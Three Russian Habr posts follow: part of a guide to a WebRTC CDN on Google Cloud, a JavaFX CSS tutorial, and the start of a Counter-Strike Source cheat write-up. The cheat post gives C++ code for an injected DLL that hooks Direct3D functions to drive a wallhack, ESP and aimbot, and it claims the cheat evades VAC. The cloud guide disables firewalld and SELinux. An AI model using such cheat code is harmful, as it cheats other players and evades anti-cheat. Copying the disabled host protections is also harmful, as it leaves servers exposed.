* Если постоянно держать включенными некоторое количество серверов в расчете на большой наплыв зрителей, то, в то время, когда наплыва нет, деньги на аренду серверов расходуются зря. Оптимальным вариантом было бы запускать дополнительные Edge при увеличении потока зрителей и гасить их при уменьшении.
Google Cloud Platform - это стек облачных сервисов, которые выполняются на той же самой инфраструктуре, которую Google использует для своих продуктов. То есть, получается, что пользовательские приложения запущенные в среде Google Cloud Platform, крутятся на тех же серверных мощностях, что и сам "великий и ужасный" Google. Поэтому, можно, с большой вероятностью, ожидать бесперебойной работы серверной инфраструктуры.
Инфраструктура Google Cloud Platform, как и в случае с AWS, поддерживает автоматическое масштабирование и балансировку распределения нагрузки, поэтому не приходится беспокоиться о лишних расходах на оплату виртуальных серверов — вы платите только за то, что используете.
На момент написания статьи образа для быстрого развертывания WCS в GCP Marketplace не было. Но есть возможность автоматического развертывания [WCS](https://flashphoner.com/obzor-wcs-52-servera-dlya-veb-razrabotchikov-onlajn-translyatsij-i-videochatov/?lang=ru) из образа виртуальной машины, который был подготовлен вручную. В этом случае, для WCS используется стандартная ежемесячная лицензия.
Теперь рассмотрим, как развернуть WCS CDN с балансировщиком и автоматическим масштабированием и процесс тестирования развернутой системы.
### Разворачиваем WebRTC CDN с балансировщиком и автоматическим масштабированием на Google Cloud Platform
Конфигурация CDN будет следующей:
* один Origin сервер;
* один Edge в составе балансировщика нагрузки, который позволяет во время пиковой нагрузки увеличить число Edge серверов до трех.
Для развертывания потребуется настроить следующие компоненты в консоли Google Cloud Platform:
* глобальный файрволл на уровне проекта Google Cloud;
* виртуальные машины WCS CDN Origin и WCS CDN Edge;
* шаблон развертывания на основе образа диска WCS CDN Edge;
* группу масштабирования;
* балансировщик нагрузки.
Итак, приступим.
### Настраиваем глобальный файрволл на уровне проекта Google Cloud для прохождения WebRTC трафика
Настройка межсетевого экрана действует на все запущенные в вашем проекте сервера, поэтому начнем развертывание с нее.
В основном меню консоли Google Cloud откройте раздел "VPC networks" и выберите пункт "Firewall":
На открывшейся странице нажмите кнопку "Create Firewall Rule" :
В открывшемся мастере задайте имя правила:
Ниже на странице разрешите входящий трафик с любых компьютеров:
Еще ниже в секции "Protocols and ports" укажите [порты](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019) для работы WCS и нажмите кнопку "Create":
Настройка глобального файрволла на этом закончена. Теперь перейдем к развертыванию виртуальных машин, настройке балансировщика и настройке автоматического масштабирования.
### Разворачиваем WCS сервер с ролью Origin для WebRTC CDN
В консоли Google Cloud откройте раздел "Compute Engine" и выберите из меню в левой части пункт "VM instances". Нажмите кнопку "Create" в диалоге создания нового экземпляра сервера:
В открывшемся мастере укажите имя сервера, выберите регион и зону расположения датацентра, а также конфигурацию сервера. Выбор конфигурации сервера зависит от планируемых целей использования WCS, бюджета, региона и зоны расположения датацентра GCP. Для тестирования в рамках этой статьи мы используем минимальные технические характеристики виртуальных машин:
Ниже на странице в секции "Boot disk" нажмите кнопку "Change" и выберите образ "CentOS 7":
Разверните секцию "Management, security, disks, networking, sole tenancy":
На вкладке "Security" добавьте публичный ключ для доступа к серверу по SSH:
На вкладке "Networking" в секции "Network interfaces" настройте внешний и внутренний IP адреса для сервера. Для работы в составе CDN серверу нужно назначить статический внутренний IP адрес:
После всех настроек нажмите кнопку "Create" для создания нового экземпляра WCS сервера с ролью CDN Origin:
Спустя пару минут сервер будет создан и запущен. Подключаемся к нему по ssh и [устанавливаем WCS](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019). Все действия - установка, изменение настроек, запуск или перезапуск WCS - должны выполняться с root правами, либо через sudo.
1.Установите Wget, Midnight Commander и дополнительные инструменты и библиотеки
```
sudo yum -y install wget mc tcpdump iperf3 fontconfig
```
2.Установите JDK. Для работы в условиях больших нагрузок рекомендуется JDK 12 или 14. Удобнее провести установку при помощи скрипта на bash. Текст скрипта:
```
#!/bin/bash
sudo rm -rf jdk*
curl -s https://download.java.net/java/GA/jdk12.0.2/e482c34c86bd4bf8b56c0b35558996b9/10/GPL/openjdk-12.0.2_linux-x64_bin.tar.gz | tar -zx
[ ! -d jdk-12.0.2/bin ] && exit 1
sudo mkdir -p /usr/java
[ -d /usr/java/jdk-12.0.2 ] && sudo rm -rf /usr/java/jdk-12.0.2
sudo mv -f jdk-12.0.2 /usr/java
[ ! -d /usr/java/jdk-12.0.2/bin ] && exit 1
sudo rm -f /usr/java/default
sudo ln -sf /usr/java/jdk-12.0.2 /usr/java/default
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/java/jdk-12.0.2/bin/java" 1
sudo update-alternatives --install "/usr/bin/jstack" "jstack" "/usr/java/jdk-12.0.2/bin/jstack" 1
sudo update-alternatives --install "/usr/bin/jcmd" "jcmd" "/usr/java/jdk-12.0.2/bin/jcmd" 1
sudo update-alternatives --install "/usr/bin/jmap" "jmap" "/usr/java/jdk-12.0.2/bin/jmap" 1
sudo update-alternatives --set "java" "/usr/java/jdk-12.0.2/bin/java"
sudo update-alternatives --set "jstack" "/usr/java/jdk-12.0.2/bin/jstack"
sudo update-alternatives --set "jcmd" "/usr/java/jdk-12.0.2/bin/jcmd"
sudo update-alternatives --set "jmap" "/usr/java/jdk-12.0.2/bin/jmap"
```
3.Загрузите архив для установки самой свежей стабильной версии WebCallServer:
```
sudo wget https://flashphoner.com/download-wcs5.2-server.tar.gz
```
4.Распакуйте архив и запустите скрипт установки WCS и следуйте указаниям мастера установки. Для запуска WCS вам потребуется действительная [лицензия](https://flashphoner.com/simple-license/?lang=ru). Для правильной работы команды, укажите номер сборки скачанного вами архива:
```
sudo tar -xvzf FlashphonerWebCallServer-5.2.714.tar.gz && cd FlashphonerWebCallServer-5.2.714 && ./install.sh
```
5.Для активации лицензии запустите скрипт "./activation.sh" из каталога установки WCS. Этот шаг, при желании, можно пропустить и активировать лицензию позже через веб-интерфейс:
```
sudo cd /usr/local/FlashphonerWebCallServer/bin && sudo ./activation.sh
```
6.Отключите firewalld и SELinux. Сетевой экран мы ранее настроили на уровне Google Cloud Platform, поэтому нет необходимости закрывать порты в операционной системе:
```
sudo systemctl stop firewalld && systemctl disable firewalld && setenforce 0
```
7.Откройте любым удобным редактором файл flashphoner.properties, который можно найти по пути:
```
/usr/local/FlashphonerWebCallServer/conf/flashphoner.properties
```
и внесите в него настройки для запуска CDN. В параметре "cdn\_ip" укажите внутренний IP адрес вашей виртуальной машины с ролью CDN Origin:
```
cdn_enabled=true
cdn_ip=10.128.0.3 # Local IP address CDN Origin
cdn_nodes_resolve_ip=false
cdn_role=origin
```
На скриншоте ниже примерный вид файла flashphoner.properties для WCS с ролью CDN Origin:
После изменения настроек запустите (или перезапустите) Web Call Server:
```
systemctl start webcallserver
```
На этом запуск и настройка Origin закончены. Перейдем к настройке балансировщика нагрузки и автоматического масштабирования.
### Запускаем балансировщик нагрузки и автоматическое масштабирование в Google Cloud для WebRTC CDN
Для запуска балансировщика и автоматического масштабирования нужны следующие компоненты:
* образ диска, который будет использоваться в шаблоне при создании нового экземпляра WCS;
* шаблон, на основе которого будут создаваться новые экземпляры сервера при масштабировании;
* группа масштабирования;
* балансировщик нагрузки;
* настройки контроля активности сервера.
#### Создаем образ диска WCS сервера с ролью Edge для WebRTC CDN
Начнем настройку с развертывания WCS сервера с ролью CDN Edge, для того, что бы создать на его основе образ диска для шаблона создания новых экземпляров WCS в балансировщике.
Повторите инструкцию по подготовке сервера Origin до пункта о внесении настроек в файл flashphoner.properties. Для роли Edge внесите в этот файл следующие настройки:
```
cdn_enabled=true
cdn_ip=10.128.0.4
cdn_nodes_resolve_ip=false
cdn_point_of_entry=10.128.0.3
cdn_role=edge
http_enable_root_redirect=false
```
После внесения и сохранения настроек, остановите в консоли Google Cloud виртуальную машину WCS CDN Edge, выберите из меню в левой части пункт "Images" и нажмите кнопку "Create Image":
В открывшемся мастере укажите имя нового образа, выберите в качестве источника диск виртуальной машины WCS CDN Edge и нажмите кнопку "Create":
После того, как образ диска создан переходим к созданию шаблона развертывания Edge сервера на основе созданного образа.
#### Создаем шаблон развертывания Edge сервера
Выберите из меню в левой части окна консоли Google Cloud пункт "Instance templates" и нажмите кнопку "Create Instance template":
В открывшемся мастере создания шаблона развертывания укажите имя шаблона и выберите конфигурацию виртуальной машины:
Ниже на странице в секции "Boot disk" нажмите кнопку "Change". в Открывшемся окне перейдите на вкладку "Custom Images" и выберите образ диска WCS CDN Edge, который мы создали ранее. Нажмите кнопку "Select":
Разверните секцию "Management, security, disks, networking, sole tenancy". На вкладке "Security" добавьте публичный ключ для доступа к серверу по SSH и нажмите кнопку "Create":
Шаблон развертывания для WCS с ролью CDN Edge создан. Теперь перейдем к созданию группы масштабирования.
#### Создаем группы масштабирования для Edge серверов
Из меню в левой части окна консоли Google Cloud выберите пункт "Instance groups" и нажмите кнопку "Create Instance group":
На открывшейся странице выберите регион и зону расположения группы и укажите шаблон развертывания WCS Edge, который мы создали ранее:
В секции "Autoscaling" на этой же странице настройте триггер запуска дополнительных серверов Edge. В качестве триггера будем использовать загрузку процессора более 80% . В поле "Maximum number of instances" укажите максимальное количество виртуальных машин, которые будут запущены при срабатывании триггера:
Затем включите проверку состояния виртуальной машины в секции "Autohealing". Для того, что бы создать настройку проверки сервера выберите из списка в поле "Health check" пункт "Сreate a health check":
В открывшемся мастере создания проверки состояния сервера укажите имя проверки, протокол TCP, порт 8081 и запрос /health-check. Настройте критерии проверки и нажмите кнопку "Save and continue":
Разверните секцию "Advanced creation options" и активируйте чекбокс "Do not retry machine creation". После чего нажмите "Create":
Будет создана группа масштабирования и запущен один [WCS](https://flashphoner.com/obzor-wcs-52-servera-dlya-veb-razrabotchikov-onlajn-translyatsij-i-videochatov/?lang=ru) с ролью CDN Edge. Последним этапом настройки нашей [CDN](https://flashphoner.com/cdn-dlya-striminga-webrtc-s-nizkoj-zaderzhkoj/?lang=ru) с балансировщиком нагрузки и автоматическим масштабированием будет настройка балансировщика.
#### Создаем балансировщик нагрузки
Сначала зарезервируем для балансировщика внешний IP адрес. В главном меню Google Cloud Platform в секции "VPC network" выберите пункт "External IP addresses" и нажмите кнопку "Reserve static address":
На открывшейся странице в поле "Name" задаем имя для зарезервированного IP адреса. Выбираем уровень качества сетевых услуг для адреса и тип распространения. После завершения всех настроек нажимаем кнопку "Reserve":
Затем переходим к настройке балансировщика.
Выбираем пункт "Load balancing" в разделе "Network services" секции "Networking" основного меню Google Cloud Platform:
Нажимаем кнопку "Create load balancer":
Затем выберите тип балансировщика "TCP Load Balancing" и нажмите кнопку "Start configuration":
На открывшейся странице укажите внешний балансировщик "From Internet to my VMs" и регион размещения серверов балансировщика. После выбора настроек нажмите кнопку "Continue":
На следующей странице задайте имя балансировщика, Затем перейдите в раздел настроек "Backend configuration" и укажите в каком регионе будут созданы сервера входящие в состав балансировщика. На вкладке "Select existing instance groups" выберите группу масштабирования Edge серверов, которую мы создали ранее. Затем в поле "Health check"выберите из выпадающего списка пункт "Сreate a health check":
На открывшейся странице укажите параметры для проверки состояния работы балансировщика — порт 8081 и запрос /, после чего нажмите кнопку "Save and continue":
Затем перейдите к настройкам раздела "Frontend configuration". В этом разделе нужно создать привязку портов к внешнему IP адресу. Укажите внешний IP адрес для балансировщика, который мы зарезервировали выше и создайте конфигурации для TCP портов 8081, 8080, 8443, 8444 для HTTP(S) и WS(S). После создания необходимых портов нажмите кнопку "Create":
Балансировщик будет запущен. На этом развертывание CDN с балансировщиком и масштабированием можно считать завершенным. Переходим к тестированию.
### Тестирование WebRTC CDN с балансировщиком и масштабированием на базе Google Cloud Platform
#### Методика тестирования
Для проведения нагрузочного тестирования, при создании группы масштабирования мы выставили порог загрузки процессора для срабатывания триггера на 20%. Тестирование будем проводить с использованием браузера Google Chrome и виртуальной вебкамеры для организации трансляции видеопотока. Что бы сымитировать повышение нагрузки на процессор запустим воспроизведение потока с транскодированием с помощью примера "Media Devices".
В результате тестирования мы должны убедиться, что повышение нагрузки на процессор виртуальной машины приводит к запуску дополнительных ВМ и балансировщик распределяет соединения между ними.
#### Тестирование
В браузере Google Chrome открываем web интерфейс WCS с ролью CDN Origin Авторизуемся, открываем пример "Two-way Streaming", устанавливаем соединение с сервером по WebSocket и публикуем видеопоток.
Затем, запускаем web интерфейс WCS CDN Edge сервера по IP адресу, который был зарезервирован при создании балансировщика.
Авторизуемся, открываем пример "Media Devices" и устанавливаем соединение с балансировщиком по WebSocket. В правом столбце настроек снимаем чек бокс "default" для параметра "Size" и задаем значения для транскодирования видеопотока. Например, если поток на Origin сервере опубликован с размерами 320х240 задаем значение 640х480. Повторите действия в нескольких вкладках браузера, для имитации большого количества зрителей.
В консоли Google Cloud видим, что были запущены две дополнительные виртуальные машины:
Для того, что бы проверить, что балансировщик распределяет соединения между активными ВМ можно использовать страницу статистики, которая доступна по адресу:
```
http://:8081/?action=stat
```
Откройте страницу статистики для каждой виртуальной машины, запущенной балансировщиком. Значение "connection\_websocket" показывает количество активных WebSocket сессий на каждой виртуальной машине.
Как видите на скриншотах наша задача успешно решена. CDN работает, дополнительные Edge сервера запускаются и WebSocket соединения распределяются между ними. В итоге, мы создали CDN в которой при увеличении нагрузки на сервер Edge, автоматически разворачиваются дополнительные виртуальных сервера для распределения нагрузки и сохранения низкой задержки в видеотрансляции.
Хорошего стриминга!
### Ссылки
[Наш демо сервер](https://demo.flashphoner.com/admin/login.html)
[CDN для стриминга WebRTC с низкой задержкой](https://flashphoner.com/cdn-dlya-striminga-webrtc-s-nizkoj-zaderzhkoj/?lang=ru) - CDN на базе WCS
[Документация по быстрому развертыванию и тестированию WCS сервера](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019)
[Документация по развертыванию WCS в Google Cloud Platform](https://docs.flashphoner.com/pages/viewpage.action?pageId=23037205)
[Документация по настройке балансировки нагрузки с масштабированием в GCP](https://docs.flashphoner.com/pages/viewpage.action?pageId=23037216) | https://habr.com/ru/post/562784/ | null | ru | null |
# Учебник по JavaFX: CSS-стилизация
Это пост о том как стилизовать компоненты JavaFX, используя старый добрый CSS.
Все посты в серии о JavaFX:
1. [Учебник по JavaFX: начало работы](https://habr.com/ru/post/474292/)
2. [Учебник по JavaFX: Hello world!](https://habr.com/ru/post/474498/)
3. [Учебник по JavaFX: FXML и SceneBuilder](https://habr.com/ru/post/474982/)
4. [Учебник по JavaFX: основные макеты](https://habr.com/ru/post/475882/)
5. [Учебник по JavaFX: расширенные макеты](https://habr.com/ru/post/477408/)
6. Учебник по JavaFX: CSS-стилизация
7. [JavaFX Weaver: интеграция JavaFX и Spring Boot приложения](https://habr.com/ru/post/478402/)
### Разделение визуальных элементов
В предыдущей [статье о FXML](https://habr.com/ru/post/474982/) мы узнали, как JavaFX обеспечивает четкое разделение задач путем разделения кода пользовательского интерфейса на две части. Компоненты и их свойства объявлены в файле FXML, а логика взаимодействия четко выделена в контроллер.
Кроме этого, есть и третья часть, язык FXML, управляющий только компонентами вашего приложения, их свойствами и тем, как они вложены друг в друга. Он не определяет визуальные элементы компонента, а именно: шрифты, цвета, фоны, отступы. В целом вы можете достичь этого в FXML, но не стоит этого делать. Вместо этого визуальные элементы должны быть четко определены в таблицах стилей CSS.
Таким образом, ваш дизайн становится независимым и может быть легко заменен или изменен без ущерба для остальной части приложения. Вы можете даже просто реализовать несколько тем, которые можно переключать по желанию пользователя.
### CSS
Вы, вероятно, знакомы с CSS (Cascading Style Sheets — Каскадные таблицы стилей), используемыми для стилизации HTML-страниц в Интернете. Похожий подход реализован в JavaFX, несмотря на то, что JavaFX использует набор своих собственных пользовательских свойств.
Давайте рассмотрим пример:
```
.button {
-fx-font-size: 15px;
}
```
Здесь использованы две основные концепции. Первая — это селектор — *.button*. Он определяет, к каким компонентам должен применяться стиль. В этом примере стиль применяется для всех кнопок.
Вторая часть — это фактические свойства стиля, которые будут применены ко всем компонентам, которые соответствуют нашему селектору. Свойства — это все, что расположено внутри фигурных скобок.
Каждое свойство имеет определенное значение. В нашем примере есть свойство *-fx-font-size*, которое определяет, насколько большим будет текст. В примере указано значение *15px*, но это значение может быть любым другим.
Подводя итог — мы создали правило, которое гласит — все кнопки везде должны иметь текст размером 15 пикселей.
### Selectors (Селекторы)
Теперь давайте рассмотрим подробнее, как работают селекторы в JavaFX. Это происходит почти так же, как в обычном CSS.
### Class (Класс)
Класс в CSS представляет несколько похожих элементов. Например, кнопки или флажки. Селектор, который должен применяться ко всем элементам одного класса, начинается с точки ".", сопровождаемый непосредственно именем класса. Соглашение об именовании классов состоит в том, чтобы разделять отдельные слова с помощью символа "-". Следующий селектор применяется ко всем элементам с классом **label**.
```
.label {
// Some properties
}
```
### Built-in classes (Встроенные классы)
Хорошая новость заключается в том, что все встроенные компоненты JavaFX (такие как Label или Button) уже имеют предопределенный класс. Если вы хотите настроить стиль всех меток в своем приложении, вам не нужно добавлять какие-либо пользовательские классы для каждой из ваших меток. Каждая метка по-умолчанию имеет класс *label*.
Легко определить имя класса из компонента:
* Возьмите имя Java класса компонента — например. *Label*
* Сделайте имя строчным
* Если он состоит из нескольких слов, разделите их с помощью символа "-"
Некоторые примеры:
* Метка → метка
* CheckBox → check-box
При использовании таких классов, как селекторы, не забудьте добавить ".". Это означает, что селектором для класса *label* является *.label*.
### Custom classes (Пользовательские классы)
Если встроенных классов недостаточно, вы можете добавить свои собственные классы к своим компонентам. Вы можете использовать несколько классов, разделенных запятой:
```
I am a simple label
```
Или на Java:
```
Label label = new Label("I am a simple label");
label.getStyleClass().addAll("my-label", "other-class");
```
Добавление классов таким способом не удаляет класс компонента по умолчанию (в данном случае *label*).
Существует один специальный класс, называемый *root*. Он является корневым компонентом вашей сцены. Вы можете использовать его, чтобы стилизовать все внутри вашей сцены (например, установить глобальный шрифт). Это похоже на использование селектора тегов body в HTML.
### ID
Другим способом выбора компонентов в CSS является использование идентификатора компонента (ID). Он является уникальным идентификатором компонента. В отличие от классов, которые могут быть назначены нескольким компонентам, идентификатор должен быть уникальным в сцене.
В то время как, для указания класса используют символ "." перед именем в их селекторах, идентификаторы помечаются символом "#".
```
#my-component {
...
}
```
В FXML вы можете использовать *fx:id* для установки CSS-идентификатора компонента.
```
I am a simple label
```
Однако есть одна оговорка. Этот же [идентификатор используется для ссылки на объект компонента, объявленный в вашем контроллере](https://habr.com/ru/post/474982/) с тем же именем. Так как идентификатор и имя поля в контроллере должны совпадать, *fx:id* должен учитывать ограничение именования Java для имен полей. Хотя соглашение об именах CSS определяет отдельные слова, разделенные символом "-", это недопустимый символ для имен полей Java. Поэтому для *fx:id* с несколькими словами вам нужно использовать другое соглашение об именах, такое как CamelCase, или использовать подчеркивание.
```
I am a simple label
I am a simple label
I am a simple label
```
В Java вы можете просто вызвать метод *setId()* вашего компонента.
```
Label label = new Label("I am a simple label");
label.setId("foo");
```
### Properties (Свойства)
Хотя CSS, используемый в JavaFX, очень похож на оригинальный веб-CSS, есть одно большое отличие. Имена свойств различны, и есть много новых свойств, специфичных для JavaFX. Они имеют префикс *-fx-*.
Вот некоторые примеры:
* *-fx-background-color*: Цвет фона
* *-fx-text-fill*: Цвет текста
* *-fx-font-size*: Размер текста
Вы можете найти список всех свойств в [официальном руководстве по дизайну](https://docs.oracle.com/javase/8/javafx/api/javafx/scene/doc-files/cssref.html).
### Псевдоклассы
В дополнение к обычным классам, которые отмечают определенные компоненты, существуют так называемые псевдоклассы, которые обозначают состояние компонента. Это может быть, например, класс для маркировки того, что компонент имеет фокус или на нем находится курсор мыши.
Есть множество встроенных псевдоклассов. Давайте посмотрим на кнопку. Существует несколько псевдоклассов, которые вы можете использовать, например:
* *hover*: мышь над кнопкой
* *focused*: кнопка имеет фокус
* *disabled*: кнопка отключена
* *pressed*: кнопка нажата
Псевдоклассы начинаются с символа ":" (например, *:hover*) в селекторах CSS. Вам, конечно, нужно указать, к какому компоненту относится ваш псевдокласс — например, *button:hover*. В следующем примере показан селектор, который применяется ко всем кнопкам, имеющим фокус:
```
.button:focused {
-fx-background-color: red;
}
```
В отличие от CSS, который имеет только базовые псевдоклассы для состояний, таких как *focus* и *hover*, JavaFX имеет специфичные для компонента псевдоклассы, которые относятся к различным состояниям или свойствам компонентов.
Например:
* Полосы прокрутки (Scrollbars) имеют псевдоклассы *horizontal* и *vertical*
* Элементы (Cells) имеют псевдоклассы *odd* и *even*
* TitledPane имеет псевдоклассы *expanded* и *collapsed*
### Пользовательские псевдоклассы
В дополнение ко встроенным псевдоклассам, вы можете определять и использовать свои собственные псевдоклассы.
Давайте создадим нашу собственную метку (наследуя от класса Label). У него будет новое логическое свойство, называемое *shiny*. В таком случае, мы хотим, чтобы у нашей метки был псевдокласс *shiny*.
Поскольку у метки есть псевдокласс *shiny*, мы можем установить фон метки *gold*:
```
.shiny-label:shiny {
-fx-background-color: gold;
}
```
Теперь создадим сам класс.
```
public class ShinyLabel extends Label {
private BooleanProperty shiny;
public ShinyLabel() {
getStyleClass().add("shiny-label");
shiny = new SimpleBooleanProperty(false);
shiny.addListener(e -> {
pseudoClassStateChanged(PseudoClass.getPseudoClass("shiny"), shiny.get());
});
}
public boolean isShiny() {
return shiny.get();
}
public void setShiny(boolean shiny) {
this.shiny.set(shiny);
}
}
```
Здесь есть несколько важных частей:
1. У нас есть логическое свойство *BooleanProperty* вместо обычного *boolean*. Это означает, что объект *shiny* является observable (наблюдаемым), и мы можем отслеживать (слушать) изменения в его значении.
2. Мы регистрируем listener (слушатель), который будет вызываться каждый раз, когда значение объекта *shiny* изменяется с использованием *shiny.addListener()*.
3. Когда значение *shiny* изменяется, мы добавляем/удаляем псевдокласс *shiny* в зависимости от текущего значения *pseudoClassStateChanged(PseudoClass.getPseudoClass(«shiny»), shiny.get())*.
4. Мы добавляем пользовательский класс для всех меток *shiny-label*, вместо того чтобы иметь только класс *label*, унаследованный от родителя. Таким образом, мы можем выбирать только метки *shiny*.
### Таблица стилей по умолчанию
Даже если вы сами не предоставляете никаких стилей, каждое приложение JavaFX уже имеет некоторые визуальные стили. Существует таблица стилей по умолчанию, которая применяется к каждому приложению. Она называется *modena* (начиная с JavaFX 8, ранее она называлась *caspian*).
Эту таблицу стилей можно найти в файле:
*jfxrt.jar\com\sun\javafx\scene\control\skin\modena\modena.css*
Или вы можете найти файл [здесь](https://www.vojtechruzicka.com/0a0496c95957848317c311b088d2b62b/modena.css). В том же каталоге есть множество изображений, используемых таблицей стилей.
Эта таблица стилей предоставляет стили по умолчанию, но имеет самый низкий приоритет по сравнению с другими типами таблиц стилей, поэтому вы можете легко ее переопределить.
### Scene stylesheet (Таблица стилей сцены)
В дополнение к таблице стилей по умолчанию, упомянутой выше, вы, конечно, можете предоставить свою собственную. Самый высокий уровень, на котором вы можете применить стилизацию — это вся сцена. Вы можете реализовать это в вашем FXML:
```
...
```
Или в вашем Java коде:
```
String stylesheet = getClass().getResource("/styles.css").toExternalForm();
scene.getStylesheets().add(stylesheet);
```
Обратите внимание на вызов *toExternalForm()*. Scene ожидает получить содержимое таблицы стилей в виде строки, а не файла, поэтому нам нужно предоставить содержимое нашей таблицы стилей в виде строки.
### Parent stylesheet (Родительская таблица стилей)
В дополнение к таблице стилей для всей сцены, иногда бывает полезно иметь стили на уровне макета. То есть — для отдельного контейнера, такого как VBox, HBox или GridPane. Общим родителем всех макетов является родительский класс, который определяет методы для обработки таблиц стилей на уровне макета. Эти стили применяются только для компонентов в данном макете, а не для всей сцены. Стиль на уровне макета имеет приоритет над стилем на уровне сцены.
```
...
```
В Java вам нужно загрузить содержимое таблицы стилей самостоятельно, так же как и ранее для сцены:
```
HBox box = new HBox();
String stylesheet = getClass().getResource("/styles.css").toExternalForm();
box.getStylesheets().add(stylesheet);
```
### Inline styles (Встроенные стили)
Пока что мы рассмотрели только случаи назначения внешней таблицы стилей для всей сцены или макета. Но можно задать индивидуальные свойства стиля на уровне компонента.
Здесь вам не нужно беспокоиться о селекторе, так как все свойства установлены для определенного компонента.
Вы можете указать несколько свойств, разделенных точкой с запятой:
```
I'm feeling blue.
```
В Java вы можете использовать метод *setStyle()*:
```
Label label = new Label("I'm feeling blue.");
label.setStyle("-fx-background-color: blue; -fx-text-fill: white");
```
Стили на уровне компонента имеют приоритет как над стилями сцены так и над родительскими стилями на уровне макета.
### Почему нужно их избегать
Стилизация на уровне компонентов может быть удобной, но это быстрое и «грязное» решение. Вы отказываетесь от основного преимущества CSS, которое заключается в отделении стилей от компонентов. Теперь вы жестко привязываете свои визуальные элементы непосредственно к компонентам. Вы больше не сможете легко переключать свои таблицы стилей, когда это необходимо, вы не можете менять темы.
Более того, у вас больше нет единого центрального места, где определяется ваш стиль. Когда вам нужно что-то изменить в наборе похожих компонентов, вам нужно изменить каждый из компонентов по отдельности, а не редактировать только одно место во внешней таблице стилей. Поэтому следует избегать встроенных стилей компонентов.
### Stylesheet priorities (Приоритеты таблиц стилей)
Вы можете обеспечить стилизацию на нескольких уровнях — сцена, родительский, встроенные стили, и также есть таблица стилей модены по умолчанию. Если вы изменяете одно и то же свойство одного и того же компонента на нескольких уровнях, JavaFX имеет настройку приоритета, которая определяет, какие стили следует использовать. Список приоритетов — от высшего к низшему:
1. Inline styles (Встроенные стили)
2. Parent styles (Родительские стили)
3. Scene styles (Стили сцены)
4. Default styles (Стили по умолчанию)
Это означает, что если вы установите цвет фона определенной метки как на встроенном, так и на уровне сцены, JavaFX будет использовать значение, установленное во встроенных стилях, поскольку оно имеет более высокий приоритет.
### Дополнительное чтение
В JavaFX имеется множество свойств CSS, и их описание выходит за рамки этого поста, подробный список см. в [официальном справочном руководстве по CSS для JavaFX](https://docs.oracle.com/javase/8/javafx/api/javafx/scene/doc-files/cssref.html). | https://habr.com/ru/post/477924/ | null | ru | null |
# CS Source кратко о создании чита All in One
Добрый день.
Решил поделиться, с Вами, своим небольшим опытом создании чита для Counter-Strike Source v34. Данное приложение было написано исключительно ради спортивного интереса(служит, исключительно, для ознакомления), так как в годы своей юности (изрядно убил времени за этой игрой :() всегда интересовало как же устроены эти программы, хотя теоретически знал как они работают. И вот спустя пол десятка лет (в 2010 году), после игры с коллегами в канун одного из праздников я опять вспомнил о своем давнем \*интересе\*…
Думаю с прелюдиями стоит закончить, скучно это, переходим к практике.
Будет много кода.
Полных исходников выкладывать не буду, а отдам только абстрактные куски кода, но это рабочие фрагменты.
Для раззадоривания скажу, что в данном чите реализована функция, позволяющая стрелять в любое место и убивать противников которые могут находиться где угодно, главное, чтобы был прострел (можно бежать и убивать всех за спиной), ее я назвал AssShot — для настоящих читеров, не привыкших скрываться (что наглядно продемонстрировано в видео). VAC его не обнаруживает, но это пока кто-то не выложит его в свободный доступ.
Видео записалось с низким фпс, извиняюсь — камтазия, а так никаких фризов модуль не вызывает.
И так, для начала нам понадобится:
[Microsoft DirectX](http://msdn.microsoft.com/en-us/directx/aa937788) — менюшки, есп, имя, хелсы, кросхайр рисовать.
[Microsoft Detours](http://research.microsoft.com/en-us/projects/detours/) — как нетрудно догадаться для подмены вызовов, [как собрать и работать с данной либой есть на хабре](http://habrahabr.ru/search/?q=detours) , я на этом останавливаться не буду.
[Source SDK](https://developer.valvesoftware.com/wiki/SDK_Installation:ru) — SDK CSS оно облегчит нам процесс.
Приступим. Создаем новый проект из [Source SDK](https://developer.valvesoftware.com/wiki/Installing_and_Debugging_the_Source_Code:ru). Удаляем весь хлам в нем — все \*.cpp, они нам не нужны.
И так в точке входа создаем свой виток, в котором запускаем бесконечный цикл (для хоткеев) и подменяем вызовы DX:
##### DllMain.cpp
```
DWORD MainThread ( LPVOID lpArgs )
{
HMODULE hClient = NULL;
for ( ; hClient == NULL ; Sleep(100) )
hClient = GetModuleHandle("client.dll");
CreateInterfaceFn IGCCreateInterface = (CreateInterfaceFn)GetProcAddress(GetModuleHandle("gameui.dll"), "CreateInterface");
IGameConsole *m_pIGameConsole = (IGameConsole *)IGCCreateInterface(GAMECONSOLE_INTERFACE_VERSION, NULL);
if (m_pIGameConsole->IsConsoleShown() == false)
m_pIGameConsole->Show();
ConMsg(0, "workeDDD!!!\n");
//===========================================================================
//===========================================================================
SetupVariables();
DWORD* VTable;
DWORD D3D9ModuleBase;
do {
D3D9ModuleBase = (DWORD)GetModuleHandle(_T("d3d9.dll"));
Sleep(100);
} while(!D3D9ModuleBase);
DWORD DevicePTR = FindPattern(D3D9ModuleBase,0x128000,(PBYTE)"\xC7\x06\x00\x00\x00\x00\x89\x86\x00\x00\x00\x00\x89\x86","xx????xx????xx");
memcpy(&VTable,(void*)(DevicePTR+2),4);
VoidCSS.res = GetGameResources( );
if (VoidCSS.res != NULL)
{
const char *p0 = VoidCSS.res->GetPlayerName(3);
const char *p1 = VoidCSS.res->GetPlayerName(4);
const char *p2 = VoidCSS.res->GetPlayerName(5);
}
pDrawIndexedPrimitive = (DrawIndexedPrimitive_)DetourFunction((PBYTE)VTable[82],(PBYTE)nDrawIndexedPrimitive);
cPresent = (iPresent) DetourFunction((PBYTE)VTable[17], (PBYTE)fPresent);
cEndScene = (iEndScene) DetourFunction((PBYTE)VTable[42], (PBYTE)fEndScene);
for (;;Sleep (500))
{
if (GetAsyncKeyState (VK_F12) != 0)
{
Beep (2000,200);
VoidCSS.s_wallhack = !VoidCSS.s_wallhack;
}
if (GetAsyncKeyState (VK_INSERT)!= 0)
{
Beep (3000,200);
VoidCSS.s_espbox = !VoidCSS.s_espbox;
}
if (GetAsyncKeyState (VK_DELETE)!= 0)
{
Beep (4000,200);
VoidCSS.s_aimbot = !VoidCSS.s_aimbot;
}
}
return 1;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
if( dwReason == 1 )
{
DLLModule = hinstDLL;
DWORD dwThreadID;
CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)MainThread, NULL, NULL, &dwThreadID);
}
return TRUE;
}
```
